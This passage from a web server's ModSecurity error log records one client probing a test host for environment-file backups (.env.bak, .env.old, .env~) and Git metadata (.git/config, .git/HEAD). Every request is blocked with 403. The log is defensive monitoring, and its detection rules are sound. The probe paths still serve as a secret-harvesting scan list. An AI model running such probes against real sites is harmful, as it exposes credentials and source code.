&quot;/web/.env.bak&quot;] [unique_id &quot;aGGE298ZUWE-JFfvKe2VHwAAAAs&quot;]
[Sun Jun 29 20:24:27.818419 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env.bak&quot;] [unique_id &quot;aGGE298ZUWE-JFfvKe2VHwAAAAs&quot;]
[Sun Jun 29 20:24:27.818653 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env.bak&quot;] [unique_id &quot;aGGE298ZUWE-JFfvKe2VHwAAAAs&quot;]
[Sun Jun 29 20:24:27.818861 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env.bak&quot;] [unique_id &quot;aGGE298ZUWE-JFfvKe2VHwAAAAs&quot;]
[Sun Jun 29 20:24:27.856647 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env.local&quot;] [unique_id &quot;aGGE298ZUWE-JFfvKe2VIAAAAAs&quot;]
[Sun Jun 29 20:24:27.856891 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env.local&quot;] [unique_id &quot;aGGE298ZUWE-JFfvKe2VIAAAAAs&quot;]
[Sun Jun 29 20:24:27.857096 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env.local&quot;] [unique_id &quot;aGGE298ZUWE-JFfvKe2VIAAAAAs&quot;]
[Sun Jun 29 20:24:27.879348 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env.old&quot;] [unique_id &quot;aGGE298ZUWE-JFfvKe2VIQAAAAs&quot;]
[Sun Jun 29 20:24:27.879507 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env.old&quot;] [unique_id &quot;aGGE298ZUWE-JFfvKe2VIQAAAAs&quot;]
[Sun Jun 29 20:24:27.879738 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env.old&quot;] [unique_id &quot;aGGE298ZUWE-JFfvKe2VIQAAAAs&quot;]
[Sun Jun 29 20:24:27.879951 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env.old&quot;] [unique_id &quot;aGGE298ZUWE-JFfvKe2VIQAAAAs&quot;]
[Sun Jun 29 20:24:27.902177 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env.save&quot;] [unique_id &quot;aGGE298ZUWE-JFfvKe2VIgAAAAs&quot;]
[Sun Jun 29 20:24:27.902438 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env.save&quot;] [unique_id &quot;aGGE298ZUWE-JFfvKe2VIgAAAAs&quot;]
[Sun Jun 29 20:24:27.902638 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env.save&quot;] [unique_id &quot;aGGE298ZUWE-JFfvKe2VIgAAAAs&quot;]
[Sun Jun 29 20:24:27.924839 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/.env~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env~&quot;] [unique_id &quot;aGGE298ZUWE-JFfvKe2VIwAAAAs&quot;]
[Sun Jun 29 20:24:27.925077 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env~&quot;] [unique_id &quot;aGGE298ZUWE-JFfvKe2VIwAAAAs&quot;]
[Sun Jun 29 20:24:27.925277 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env~&quot;] [unique_id &quot;aGGE298ZUWE-JFfvKe2VIwAAAAs&quot;]
[Sun Jun 29 20:24:27.947586 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /web/.git/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/&quot;] [unique_id &quot;aGGE298ZUWE-JFfvKe2VJAAAAAs&quot;]
[Sun Jun 29 20:24:27.947834 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/&quot;] [unique_id &quot;aGGE298ZUWE-JFfvKe2VJAAAAAs&quot;]
[Sun Jun 29 20:24:27.948052 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/&quot;] [unique_id &quot;aGGE298ZUWE-JFfvKe2VJAAAAAs&quot;]
[Sun Jun 29 20:24:27.970516 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /web/.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/HEAD&quot;] [unique_id &quot;aGGE298ZUWE-JFfvKe2VJQAAAAs&quot;]
[Sun Jun 29 20:24:27.970760 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/HEAD&quot;] [unique_id &quot;aGGE298ZUWE-JFfvKe2VJQAAAAs&quot;]
[Sun Jun 29 20:24:27.970946 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/HEAD&quot;] [unique_id &quot;aGGE298ZUWE-JFfvKe2VJQAAAAs&quot;]
[Sun Jun 29 20:24:27.993271 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /web/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/config&quot;] [unique_id &quot;aGGE298ZUWE-JFfvKe2VJgAAAAs&quot;]
[Sun Jun 29 20:24:27.993506 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/config&quot;] [unique_id &quot;aGGE298ZUWE-JFfvKe2VJgAAAAs&quot;]
[Sun Jun 29 20:24:27.993716 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/config&quot;] [unique_id &quot;aGGE298ZUWE-JFfvKe2VJgAAAAs&quot;]
[Sun Jun 29 20:24:28.016110 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /web/.git/logs/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/logs/HEAD&quot;] [unique_id &quot;aGGE3N8ZUWE-JFfvKe2VJwAAAAs&quot;]
[Sun Jun 29 20:24:28.016343 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/logs/HEAD&quot;] [unique_id &quot;aGGE3N8ZUWE-JFfvKe2VJwAAAAs&quot;]
[Sun Jun 29 20:24:28.016530 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/logs/HEAD&quot;] [unique_id &quot;aGGE3N8ZUWE-JFfvKe2VJwAAAAs&quot;]
[Sun Jun 29 20:24:28.038942 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /web/.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.gitignore&quot;] [unique_id &quot;aGGE3N8ZUWE-JFfvKe2VKAAAAAs&quot;]
[Sun Jun 29 20:24:28.039175 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.gitignore&quot;] [unique_id &quot;aGGE3N8ZUWE-JFfvKe2VKAAAAAs&quot;]
[Sun Jun 29 20:24:28.039375 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.gitignore&quot;] [unique_id &quot;aGGE3N8ZUWE-JFfvKe2VKAAAAAs&quot;]
[Sun Jun 29 20:24:28.061540 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag 